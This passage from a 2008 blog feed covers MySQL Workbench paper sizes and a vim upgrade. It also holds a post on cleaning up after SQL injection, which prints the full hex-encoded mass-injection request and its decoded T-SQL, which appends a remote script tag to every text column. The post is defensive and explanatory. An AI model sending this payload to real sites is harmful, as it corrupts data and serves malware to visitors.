			<wfw:commentRss>http://www.wirelust.com/2008/11/13/simple-net-script-to-list-all-of-the-swf-files-in-a-folder-as-xml/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Howto add additional page sizes to MySQL Workbench</title>
		<link>http://www.wirelust.com/2008/10/02/howto-add-additional-page-sizes-to-mysql-workbench/</link>
		<comments>http://www.wirelust.com/2008/10/02/howto-add-additional-page-sizes-to-mysql-workbench/#comments</comments>
		<pubDate>Thu, 02 Oct 2008 05:32:39 +0000</pubDate>
		<dc:creator>Tea</dc:creator>
		
		<category><![CDATA[MySQL]]></category>

		<category><![CDATA[SQL]]></category>

		<category><![CDATA[tools]]></category>

		<category><![CDATA[MySql-Workbench]]></category>

		<guid isPermaLink="false">http://www.wirelust.com/?p=57</guid>
		<description><![CDATA[I&#8217;ve been following the progress of the MySQL Workbench project for quite some time now ever since the discontinuation of DbDesigner4.  For a while things appeared to be moving slowly and the early releases were painfully slow and hard to use, but with the most recent releases I feel that it is really ready [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been following the progress of the <a href="http://dev.mysql.com/workbench/">MySQL Workbench</a> project for quite some time now ever since the discontinuation of <a href="http://www.fabforce.net/dbdesigner4/" target="_blank">DbDesigner4</a>.  For a while things appeared to be moving slowly and the early releases were painfully slow and hard to use, but with the most recent releases I feel that it is really ready for prime time.   It isn&#8217;t quite as powerful as some other commercial tools I use, but it is free, quick, and does a great job for small databases.</p>
<p>One of the things that I am really liking about MySql Workbench the most is it&#8217;s solid design.  I have been able to open up the source code and view a very nicely written application that very much appears to be designed for growth.  Many of the key settings and customizations are even left out of the compiled code and read dynamically from XML files upon startup.</p>
<p>Recently I found that the tool didn&#8217;t support some standard page sizes I use for printing out diagrams &#8212; most notably (to me anyway), Arch-E, the standard page size of the printer at my local FedEx Kinkos.</p>
<p>After only a few minutes of poking around I found a file in the data directory called paper_types.xml that contained all of the paper sizes that the program would.  A quick trip to <a href="http://en.wikipedia.org/wiki/Paper_size" target="_blank">Wikipedia</a> and I was easily able to add my Arch-E paper type.  After restarting the program I was easily to print directly to the printer as well as export to the correct size pdf.</p>
<p>Here&#8217;s the code to add to save you (and probably myself later) some time:<br />
Add this to C:\Program Files\MySQL\MySQL Workbench 5.0 OSS\data\paper_types.xml<br />
<pre class="xml"><span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;value</span> <span style="color: #000066;">type</span>=<span style="color: #ff0000;">&quot;object&quot;</span> <span style="color: #000066;">struct-name</span>=<span style="color: #ff0000;">&quot;app.PaperType&quot;</span> <span style="color: #000066;">id</span>=<span style="color: #ff0000;">&quot;com.mysql.wb.papertype.archa&quot;</span><span style="font-weight: bold; color: black;">&gt;</span></span>
      <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;value</span> <span style="color: #000066;">type</span>=<span style="color: #ff0000;">&quot;string&quot;</span> <span style="color: #000066;">key</span>=<span style="color: #ff0000;">&quot;name&quot;</span><span style="font-weight: bold; color: black;">&gt;</span></span>Arch-A<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/value<span style="font-weight: bold; color: black;">&gt;</span></span></span>
      <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;value</span> <span style="color: #000066;">type</span>=<span style="color: #ff0000;">&quot;string&quot;</span> <span style="color: #000066;">key</span>=<span style="color: #ff0000;">&quot;caption&quot;</span><span style="font-weight: bold; color: black;">&gt;</span></span>Arch A (9 in x 12 in.)<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/value<span style="font-weight: bold; color: black;">&gt;</span></span></span>
      <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;value</span> <span style="color: #000066;">type</span>=<span style="color: #ff0000;">&quot;real&quot;</span> <span style="color: #000066;">key</span>=<span style="color: #ff0000;">&quot;width&quot;</span><span style="font-weight: bold; color: black;">&gt;</span></span>228.6<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/value<span style="font-weight: bold; color: black;">&gt;</span></span></span>
      <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;value</span> <span style="color: #000066;">type</span>=<span style="color: #ff0000;">&quot;real&quot;</span> <span style="color: #000066;">key</span>=<span style="color: #ff0000;">&quot;height&quot;</span><span style="font-weight: bold; color: black;">&gt;</span></span>304.8<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/value<span style="font-weight: bold; color: black;">&gt;</span></span></span>
    <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/value<span style="font-weight: bold; color: black;">&gt;</span></span></span>
    <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;value</span> <span style="color: #000066;">type</span>=<span style="color: #ff0000;">&quot;object&quot;</span> <span style="color: #000066;">struct-name</span>=<span style="color: #ff0000;">&quot;app.PaperType&quot;</span> <span style="color: #000066;">id</span>=<span style="color: #ff0000;">&quot;com.mysql.wb.papertype.archb&quot;</span><span style="font-weight: bold; color: black;">&gt;</span></span>
      <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;value</span> <span style="color: #000066;">type</span>=<span style="color: #ff0000;">&quot;string&quot;</span> <span style="color: #000066;">key</span>=<span style="color: #ff0000;">&quot;name&quot;</span><span style="font-weight: bold; color: black;">&gt;</span></span>Arch-B<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/value<span style="font-weight: bold; color: black;">&gt;</span></span></span>
      <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;value</span> <span style="color: #000066;">type</span>=<span style="color: #ff0000;">&quot;string&quot;</span> <span style="color: #000066;">key</span>=<span style="color: #ff0000;">&quot;caption&quot;</span><span style="font-weight: bold; color: black;">&gt;</span></span>Arch B (12 in x 18 in.)<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/value<span style="font-weight: bold; color: black;">&gt;</span></span></span>
      <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;value</span> <span style="color: #000066;">type</span>=<span style="color: #ff0000;">&quot;real&quot;</span> <span style="color: #000066;">key</span>=<span style="color: #ff0000;">&quot;width&quot;</span><span style="font-weight: bold; color: black;">&gt;</span></span>304.8<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/value<span style="font-weight: bold; color: black;">&gt;</span></span></span>
      <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;value</span> <span style="color: #000066;">type</span>=<span style="color: #ff0000;">&quot;real&quot;</span> <span style="color: #000066;">key</span>=<span style="color: #ff0000;">&quot;height&quot;</span><span style="font-weight: bold; color: black;">&gt;</span></span>457.2<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/value<span style="font-weight: bold; color: black;">&gt;</span></span></span>
    <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/value<span style="font-weight: bold; color: black;">&gt;</span></span></span>
    <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;value</span> <span style="color: #000066;">type</span>=<span style="color: #ff0000;">&quot;object&quot;</span> <span style="color: #000066;">struct-name</span>=<span style="color: #ff0000;">&quot;app.PaperType&quot;</span> <span style="color: #000066;">id</span>=<span style="color: #ff0000;">&quot;com.mysql.wb.papertype.archc&quot;</span><span style="font-weight: bold; color: black;">&gt;</span></span>
      <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;value</span> <span style="color: #000066;">type</span>=<span style="color: #ff0000;">&quot;string&quot;</span> <span style="color: #000066;">key</span>=<span style="color: #ff0000;">&quot;name&quot;</span><span style="font-weight: bold; color: black;">&gt;</span></span>Arch-C<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/value<span style="font-weight: bold; color: black;">&gt;</span></span></span>
      <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;value</span> <span style="color: #000066;">type</span>=<span style="color: #ff0000;">&quot;string&quot;</span> <span style="color: #000066;">key</span>=<span style="color: #ff0000;">&quot;caption&quot;</span><span style="font-weight: bold; color: black;">&gt;</span></span>Arch C (18 in x 24 in.)<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/value<span style="font-weight: bold; color: black;">&gt;</span></span></span>
      <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;value</span> <span style="color: #000066;">type</span>=<span style="color: #ff0000;">&quot;real&quot;</span> <span style="color: #000066;">key</span>=<span style="color: #ff0000;">&quot;width&quot;</span><span style="font-weight: bold; color: black;">&gt;</span></span>457.2<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/value<span style="font-weight: bold; color: black;">&gt;</span></span></span>
      <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;value</span> <span style="color: #000066;">type</span>=<span style="color: #ff0000;">&quot;real&quot;</span> <span style="color: #000066;">key</span>=<span style="color: #ff0000;">&quot;height&quot;</span><span style="font-weight: bold; color: black;">&gt;</span></span>609.6<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/value<span style="font-weight: bold; color: black;">&gt;</span></span></span>
    <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/value<span style="font-weight: bold; color: black;">&gt;</span></span></span>
    <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;value</span> <span style="color: #000066;">type</span>=<span style="color: #ff0000;">&quot;object&quot;</span> <span style="color: #000066;">struct-name</span>=<span style="color: #ff0000;">&quot;app.PaperType&quot;</span> <span style="color: #000066;">id</span>=<span style="color: #ff0000;">&quot;com.mysql.wb.papertype.archd&quot;</span><span style="font-weight: bold; color: black;">&gt;</span></span>
      <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;value</span> <span style="color: #000066;">type</span>=<span style="color: #ff0000;">&quot;string&quot;</span> <span style="color: #000066;">key</span>=<span style="color: #ff0000;">&quot;name&quot;</span><span style="font-weight: bold; color: black;">&gt;</span></span>Arch-D<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/value<span style="font-weight: bold; color: black;">&gt;</span></span></span>
      <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;value</span> <span style="color: #000066;">type</span>=<span style="color: #ff0000;">&quot;string&quot;</span> <span style="color: #000066;">key</span>=<span style="color: #ff0000;">&quot;caption&quot;</span><span style="font-weight: bold; color: black;">&gt;</span></span>Arch D (24 in x 36 in.)<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/value<span style="font-weight: bold; color: black;">&gt;</span></span></span>
      <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;value</span> <span style="color: #000066;">type</span>=<span style="color: #ff0000;">&quot;real&quot;</span> <span style="color: #000066;">key</span>=<span style="color: #ff0000;">&quot;width&quot;</span><span style="font-weight: bold; color: black;">&gt;</span></span>609.6<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/value<span style="font-weight: bold; color: black;">&gt;</span></span></span>
      <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;value</span> <span style="color: #000066;">type</span>=<span style="color: #ff0000;">&quot;real&quot;</span> <span style="color: #000066;">key</span>=<span style="color: #ff0000;">&quot;height&quot;</span><span style="font-weight: bold; color: black;">&gt;</span></span>914.4<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/value<span style="font-weight: bold; color: black;">&gt;</span></span></span>
    <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/value<span style="font-weight: bold; color: black;">&gt;</span></span></span>
    <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;value</span> <span style="color: #000066;">type</span>=<span style="color: #ff0000;">&quot;object&quot;</span> <span style="color: #000066;">struct-name</span>=<span style="color: #ff0000;">&quot;app.PaperType&quot;</span> <span style="color: #000066;">id</span>=<span style="color: #ff0000;">&quot;com.mysql.wb.papertype.arche&quot;</span><span style="font-weight: bold; color: black;">&gt;</span></span>
      <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;value</span> <span style="color: #000066;">type</span>=<span style="color: #ff0000;">&quot;string&quot;</span> <span style="color: #000066;">key</span>=<span style="color: #ff0000;">&quot;name&quot;</span><span style="font-weight: bold; color: black;">&gt;</span></span>Arch-E<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/value<span style="font-weight: bold; color: black;">&gt;</span></span></span>
      <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;value</span> <span style="color: #000066;">type</span>=<span style="color: #ff0000;">&quot;string&quot;</span> <span style="color: #000066;">key</span>=<span style="color: #ff0000;">&quot;caption&quot;</span><span style="font-weight: bold; color: black;">&gt;</span></span>Arch E (36 in x 48 in.)<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/value<span style="font-weight: bold; color: black;">&gt;</span></span></span>
      <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;value</span> <span style="color: #000066;">type</span>=<span style="color: #ff0000;">&quot;real&quot;</span> <span style="color: #000066;">key</span>=<span style="color: #ff0000;">&quot;width&quot;</span><span style="font-weight: bold; color: black;">&gt;</span></span>914.4<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/value<span style="font-weight: bold; color: black;">&gt;</span></span></span>
      <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;value</span> <span style="color: #000066;">type</span>=<span style="color: #ff0000;">&quot;real&quot;</span> <span style="color: #000066;">key</span>=<span style="color: #ff0000;">&quot;height&quot;</span><span style="font-weight: bold; color: black;">&gt;</span></span>1219.2<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/value<span style="font-weight: bold; color: black;">&gt;</span></span></span>
    <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/value<span style="font-weight: bold; color: black;">&gt;</span></span></span>
    <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;value</span> <span style="color: #000066;">type</span>=<span style="color: #ff0000;">&quot;object&quot;</span> <span style="color: #000066;">struct-name</span>=<span style="color: #ff0000;">&quot;app.PaperType&quot;</span> <span style="color: #000066;">id</span>=<span style="color: #ff0000;">&quot;com.mysql.wb.papertype.arche1&quot;</span><span style="font-weight: bold; color: black;">&gt;</span></span>
      <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;value</span> <span style="color: #000066;">type</span>=<span style="color: #ff0000;">&quot;string&quot;</span> <span style="color: #000066;">key</span>=<span style="color: #ff0000;">&quot;name&quot;</span><span style="font-weight: bold; color: black;">&gt;</span></span>Arch-E1<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/value<span style="font-weight: bold; color: black;">&gt;</span></span></span>
      <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;value</span> <span style="color: #000066;">type</span>=<span style="color: #ff0000;">&quot;string&quot;</span> <span style="color: #000066;">key</span>=<span style="color: #ff0000;">&quot;caption&quot;</span><span style="font-weight: bold; color: black;">&gt;</span></span>Arch E1 (30 in x 42 in.)<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/value<span style="font-weight: bold; color: black;">&gt;</span></span></span>
      <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;value</span> <span style="color: #000066;">type</span>=<span style="color: #ff0000;">&quot;real&quot;</span> <span style="color: #000066;">key</span>=<span style="color: #ff0000;">&quot;width&quot;</span><span style="font-weight: bold; color: black;">&gt;</span></span>762<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/value<span style="font-weight: bold; color: black;">&gt;</span></span></span>
      <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;value</span> <span style="color: #000066;">type</span>=<span style="color: #ff0000;">&quot;real&quot;</span> <span style="color: #000066;">key</span>=<span style="color: #ff0000;">&quot;height&quot;</span><span style="font-weight: bold; color: black;">&gt;</span></span>1066.8<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/value<span style="font-weight: bold; color: black;">&gt;</span></span></span>
    <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/value<span style="font-weight: bold; color: black;">&gt;</span></span></span></pre></p>
]]></content:encoded>
			<wfw:commentRss>http://www.wirelust.com/2008/10/02/howto-add-additional-page-sizes-to-mysql-workbench/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Upgrading vim on OSX</title>
		<link>http://www.wirelust.com/2008/09/28/upgrading-vim-on-osx/</link>
		<comments>http://www.wirelust.com/2008/09/28/upgrading-vim-on-osx/#comments</comments>
		<pubDate>Sun, 28 Sep 2008 07:04:59 +0000</pubDate>
		<dc:creator>Tea</dc:creator>
		
		<category><![CDATA[osx]]></category>

		<category><![CDATA[vim]]></category>

		<guid isPermaLink="false">http://www.wirelust.com/?p=35</guid>
		<description><![CDATA[OSX ships with a respectable version of Vim, 7.0.  I can&#8217;t remember why, but I had some reason where I needed to upgrade to the latest copy (currently 7.2).  Here is how to do it:
In a terminal window, run the following commands:
svn co https://vim.svn.sourceforge.net/svnroot/vim/vim7
cd vim7
./configure
sudo make install
You will have to enter your password [...]]]></description>
			<content:encoded><![CDATA[<p>OSX ships with a respectable version of Vim, 7.0.  I can&#8217;t remember why, but I had some reason where I needed to upgrade to the latest copy (currently 7.2).  Here is how to do it:</p>
<p>In a terminal window, run the following commands:<br />
<pre class="bash">svn co https://vim.svn.sourceforge.net/svnroot/vim/vim7
<span style="color: #000066;">cd</span> vim7
./configure
sudo make install</pre><br />
You will have to enter your password for the sudo command.</p>
<p>This will install a vim GUI in your Applications folder.  In order to upgrade the vim in your terminal window, you have to run these commands:<br />
<pre class="bash">sudo mv /usr/bin/vim /usr/bin/vim_original
sudo ln -s /usr/bin/vim /Applications/Vim.app/Contents/MacOS/Vim</pre></p>
<p>Vim on the command line should now be updated to the latest version.</p>
<p>A side effect of this update is that your .vimrc file will be read from the more standard UNIX location of your home folder.  To copy the OSX vimrc to your home folder so it can be read, run this command:</p>
<p><pre class="bash">cp /usr/share/vim/vimrc ~/.vimrc</pre></p>
]]></content:encoded>
			<wfw:commentRss>http://www.wirelust.com/2008/09/28/upgrading-vim-on-osx/feed/</wfw:commentRss>
		</item>
		<item>
		<title>iPhone vs Android</title>
		<link>http://www.wirelust.com/2008/09/25/iphone-vs-android/</link>
		<comments>http://www.wirelust.com/2008/09/25/iphone-vs-android/#comments</comments>
		<pubDate>Thu, 25 Sep 2008 21:40:34 +0000</pubDate>
		<dc:creator>Tea</dc:creator>
		
		<category><![CDATA[iphone]]></category>

		<guid isPermaLink="false">http://www.wirelust.com/?p=52</guid>
		<description><![CDATA[Last night I had been waiting for about two weeks to hear back from apple about membership in the iPhone developer program.  I&#8217;m told this is normal wait time and I should just keep waiting.  
At one point, I was thinking to myself &#8220;crap, this is reason enough to take another look at [...]]]></description>
			<content:encoded><![CDATA[<p>Last night I had been waiting for about two weeks to hear back from apple about membership in the iPhone developer program.  I&#8217;m told this is normal wait time and I should just keep waiting.  </p>
<p>At one point, I was thinking to myself &#8220;crap, this is reason enough to take another look at android and see what that has to offer&#8221;&#8230;   but then I realized, I may be waiting for my application from Apple, but I couldn&#8217;t have installed an android app on any phone anywhere anyway.  duh.  quit complaining self.</p>
<p>They finally contacted me today asking me to fax them in some information.  Lets see how long the next step takes.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.wirelust.com/2008/09/25/iphone-vs-android/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Using SQL Injection attack code to repair database</title>
		<link>http://www.wirelust.com/2008/09/25/using-sql-injection-attack-code-to-repair-database/</link>
		<comments>http://www.wirelust.com/2008/09/25/using-sql-injection-attack-code-to-repair-database/#comments</comments>
		<pubDate>Thu, 25 Sep 2008 20:46:08 +0000</pubDate>
		<dc:creator>Tea</dc:creator>
		
		<category><![CDATA[SQL]]></category>

		<category><![CDATA[Transact-SQL]]></category>

		<category><![CDATA[security]]></category>

		<category><![CDATA[web]]></category>

		<category><![CDATA[Sql Injection]]></category>

		<category><![CDATA[tsql]]></category>

		<guid isPermaLink="false">http://www.wirelust.com/?p=39</guid>
		<description><![CDATA[


Now that Google has started flagging sites that are linking to badware in their index I&#8217;ve been getting quite a few calls from people who have been flagged and need to get back on track.  
These are often sites that were written a while back (not by myself) when developers didn&#8217;t think as much [...]]]></description>
			<content:encoded><![CDATA[


<p>Now that Google has started flagging sites that are linking to badware in their index I&#8217;ve been getting quite a few calls from people who have been flagged and need to get back on track.  </p>
<p>These are often sites that were written a while back (not by myself) when developers didn&#8217;t think as much about SQL injection as they do now.  Sometimes the code was just poorly written by someone who didn&#8217;t know better.  However it happened, each site has its own challenge.</p>
<p>Fixing the security hole is generally straight forward &#8212; I usually just have to identify where the SQL isn&#8217;t properly escaped and fix that code.   The hard part I have had fixing these sites is fixing the database itself.  Some clients have backups, and some I can fix with <a href="http://www.red-gate.com/products/SQL_Log_Rescue/index.htm" target="_blank">SQL Log Rescue</a>, but generally a lot of small clients simply don&#8217;t have great control over their server and often don&#8217;t have any backups.</p>
<p>I had one such of these clients this week where their database had hundreds and hundreds of tables, all with malware code injected into the data.  I was initially going to write a script to clean all the data, but after looking at the malware attack, I was able to use their own code to fix the database. </p>
<p>In the server log files.   I noticed this request was coming in for every script several times a day.  Looks like it just wanders the internet hoping that that id=2 in the query string won&#8217;t be escaped in the code.<br />
<pre class="php">GET script.asp?id=<span style="color: #cc66cc;">2</span> ;DECLARE%<span style="color: #cc66cc;">20</span>@S%20CHAR<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">4000</span><span style="color: #66cc66;">&#41;</span>;SET%<span style="color: #cc66cc;">20</span>@S=CAST<span style="color: #66cc66;">&#40;</span>0x4445434c415245204054207661726368617228323535292c40432076617263686172283430303029204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420612e6e616d652c622e6e616d652066726f6d207379736f626a6563747320612c737973636f6c756d6e73206220776865726520612e69643d622e696420616e6420612e78747970653d27752720616e642028622e78747970653d3939206f7220622e78747970653d3335206f7220622e78747970653d323331206f7220622e78747970653d31363729204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d20205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20657865632827757064617465205b272b40542b275d20736574205b272b40432b275d3d2727223e3c2f7469746c653e3c736372697074207372633d22687474703a2f2f7777772e776972656c7573742e636f6d2f626164646965732d7363726970742e6a73223e3c2f7363726970743e3c212d2d27272b5b272b40432b275d20776865726520272b40432b27206e6f74206c696b6520272725223e3c2f7469746c653e3c736372697074207372633d22687474703a2f2f7777772e776972656c7573742e636f6d2f626164646965732d7363726970742e6a73223e3c2f7363726970743e3c212d2d272727294645544348204e4558542046524f4d20205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f7220%20AS%20CHAR<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">4000</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;EXEC<span style="color: #66cc66;">&#40;</span>@S<span style="color: #66cc66;">&#41;</span>; <span style="color: #cc66cc;">80</span> - <span style="color: #cc66cc;">121.18</span><span style="color: #cc66cc;">.89</span><span style="color: #cc66cc;">.190</span> HTTP/<span style="color: #cc66cc;">1.1</span> Mozilla/<span style="color: #cc66cc;">4.0</span>+<span style="color: #66cc66;">&#40;</span>compatible;+MSIE<span style="color: #cc66cc;">+6.0</span>;+Windows+NT<span style="color: #cc66cc;">+5.1</span>;+SV1<span style="color: #66cc66;">&#41;</span> - - www.wirelust.com <span style="color: #cc66cc;">200</span> <span style="color: #cc66cc;">0</span> <span style="color: #cc66cc;">0</span> <span style="color: #cc66cc;">14827</span> <span style="color: #cc66cc;">1516</span> <span style="color: #cc66cc;">9781</span></pre><br />
&nbsp;</p>
<p>If the id isn&#8217;t escaped, as it wasn&#8217;t in this situation, a query like this will hit your SQL server:<br />
<pre class="tsql"><span style="color: #0000FF;">SELECT</span> *
<span style="color: #0000FF;">FROM</span> SomeTable
<span style="color: #0000FF;">WHERE</span> id=<span style="color: #000;">2</span>;DECLARE @S <span style="color: #0000FF;">CHAR</span><span style="color: #808080;">&#40;</span><span style="color: #000;">4000</span><span style="color: #808080;">&#41;</span>
<span style="color: #0000FF;">SET</span> @S=<span style="color: #0000FF;">CAST</span><span style="color: #808080;">&#40;</span>0x4445434c415245204054207661726368617228323535292c40432076617263686172283430303029204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420612e6e616d652c622e6e616d652066726f6d207379736f626a6563747320612c737973636f6c756d6e73206220776865726520612e69643d622e696420616e6420612e78747970653d27752720616e642028622e78747970653d3939206f7220622e78747970653d3335206f7220622e78747970653d323331206f7220622e78747970653d31363729204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d20205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20657865632827757064617465205b272b40542b275d20736574205b272b40432b275d3d2727223e3c2f7469746c653e3c736372697074207372633d22687474703a2f2f7777772e776972656c7573742e636f6d2f626164646965732d7363726970742e6a73223e3c2f7363726970743e3c212d2d27272b5b272b40432b275d20776865726520272b40432b27206e6f74206c696b6520272725223e3c2f7469746c653e3c736372697074207372633d22687474703a2f2f7777772e776972656c7573742e636f6d2f626164646965732d7363726970742e6a73223e3c2f7363726970743e3c212d2d272727294645544348204e4558542046524f4d20205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f7220 <span style="color: #0000FF;">AS</span> <span style="color: #0000FF;">CHAR</span><span style="color: #808080;">&#40;</span><span style="color: #000;">4000</span><span style="color: #808080;">&#41;</span><span style="color: #808080;">&#41;</span>;
<span style="color: #0000FF;">EXEC</span><span style="color: #808080;">&#40;</span>@S<span style="color: #808080;">&#41;</span>;</pre></p>
<p>&nbsp;</p>
<p>hmm.  okay.  so what is it executing as the value of @S?<br />
If you change the statement from EXEC(@S) to PRINT(@S) you get this:<br />
<span style="font-weight: bold; font-size: 14px; color: red">Warning:</span> <b>Do not run this on your server, it will mess up ALL of your data</b><br />
<pre class="tsql"><span style="color: #0000FF;">DECLARE</span> @T <span style="color: #0000FF;">VARCHAR</span><span style="color: #808080;">&#40;</span><span style="color: #000;">255</span><span style="color: #808080;">&#41;</span>,@C <span style="color: #0000FF;">VARCHAR</span><span style="color: #808080;">&#40;</span><span style="color: #000;">4000</span><span style="color: #808080;">&#41;</span>
<span style="color: #0000FF;">DECLARE</span> Table_Cursor <span style="color: #0000FF;">CURSOR</span> <span style="color: #0000FF;">FOR</span> 
	<span style="color: #0000FF;">SELECT</span> a.<span style="color: #202020;">name</span>,b.<span style="color: #202020;">name</span>
	<span style="color: #0000FF;">FROM</span> sysobjects a,syscolumns b
	<span style="color: #0000FF;">WHERE</span> a.<span style="color: #202020;">id</span>=b.<span style="color: #202020;">id</span>
	and a.<span style="color: #202020;">xtype</span>=<span style="color: #FF0000;">'u'</span>
	and <span style="color: #808080;">&#40;</span>b.<span style="color: #202020;">xtype</span>=<span style="color: #000;">99</span> or b.<span style="color: #202020;">xtype</span>=<span style="color: #000;">35</span> or b.<span style="color: #202020;">xtype</span>=<span style="color: #000;">231</span> or b.<span style="color: #202020;">xtype</span>=<span style="color: #000;">167</span><span style="color: #808080;">&#41;</span>
&nbsp;
<span style="color: #0000FF;">OPEN</span> Table_Cursor
<span style="color: #0000FF;">FETCH</span> <span style="color: #0000FF;">NEXT</span> <span style="color: #0000FF;">FROM</span>  Table_Cursor <span style="color: #0000FF;">INTO</span> @T,@C
<span style="color: #0000FF;">WHILE</span><span style="color: #808080;">&#40;</span><span style="color: #FF00FF;">@@FETCH_STATUS</span>=<span style="color: #000;">0</span><span style="color: #808080;">&#41;</span> <span style="color: #0000FF;">BEGIN</span>
	<span style="color: #0000FF;">EXEC</span><span style="color: #808080;">&#40;</span><span style="color: #FF0000;">'update ['</span>+@T+<span style="color: #FF0000;">'] set ['</span>+@C+<span style="color: #FF0000;">']='</span><span style="color: #FF0000;">'&quot;&gt;&lt;/title&gt;&lt;script src=&quot;http://www.wirelust.com/baddies-script.js&quot;&gt;&lt;/script&gt;&lt;!--'</span><span style="color: #FF0000;">'+['</span>+@C+<span style="color: #FF0000;">'] where '</span>+@C+<span style="color: #FF0000;">' not like '</span><span style="color: #FF0000;">'%&quot;&gt;&lt;/title&gt;&lt;script src=&quot;http://www.wirelust.com/baddies-script.js&quot;&gt;&lt;/script&gt;&lt;!--'</span><span style="color: #FF0000;">''</span><span style="color: #808080;">&#41;</span>
	<span style="color: #0000FF;">FETCH</span> <span style="color: #0000FF;">NEXT</span> <span style="color: #0000FF;">FROM</span>  Table_Cursor <span style="color: #0000FF;">INTO</span> @T,@C 
<span style="color: #0000FF;">END</span> 
<span style="color: #0000FF;">CLOSE</span> Table_Cursor
<span style="color: #0000FF;">DEALLOCATE</span> Table_Cursor</pre></p>
<p>&nbsp;</p>
<p>I thought this code was pretty clever.  It selects a cursor that contains every varchar and text field in every table on the database, then loops over the cursor and issues an update command to append their bad script to the end of the data in each field.</p>
<p>Luckily, it is in their best interest to leave your data in place and just place their code at the end - it increases the chance you won&#8217;t know your site is infected.</p>
<p>Since all of the original data is still in the database, I was able to tweak their code a little bit to write a script to fix the data:<br />
<pre class="tsql"><span style="color: #0000FF;">DECLARE</span> @T <span style="color: #0000FF;">VARCHAR</span><span style="color: #808080;">&#40;</span><span style="color: #000;">255</span><span style="color: #808080;">&#41;</span>, @C <span style="color: #0000FF;">VARCHAR</span><span style="color: #808080;">&#40;</span><span style="color: #000;">4000</span><span style="color: #808080;">&#41;</span>, @<span style="color: #0000FF;">SQL</span> <span style="color: #0000FF;">VARCHAR</span><span style="color: #808080;">&#40;</span><span style="color: #000;">5000</span><span style="color: #808080;">&#41;</span>
<span style="color: #0000FF;">DECLARE</span> Table_Cursor <span style="color: #0000FF;">CURSOR</span> <span style="color: #0000FF;">FOR</span> 
	<span style="color: #0000FF;">SELECT</span> a.<span style="color: #202020;">name</span>,b.<span style="color: #202020;">name</span>
	<span style="color: #0000FF;">FROM</span> sysobjects a,syscolumns b
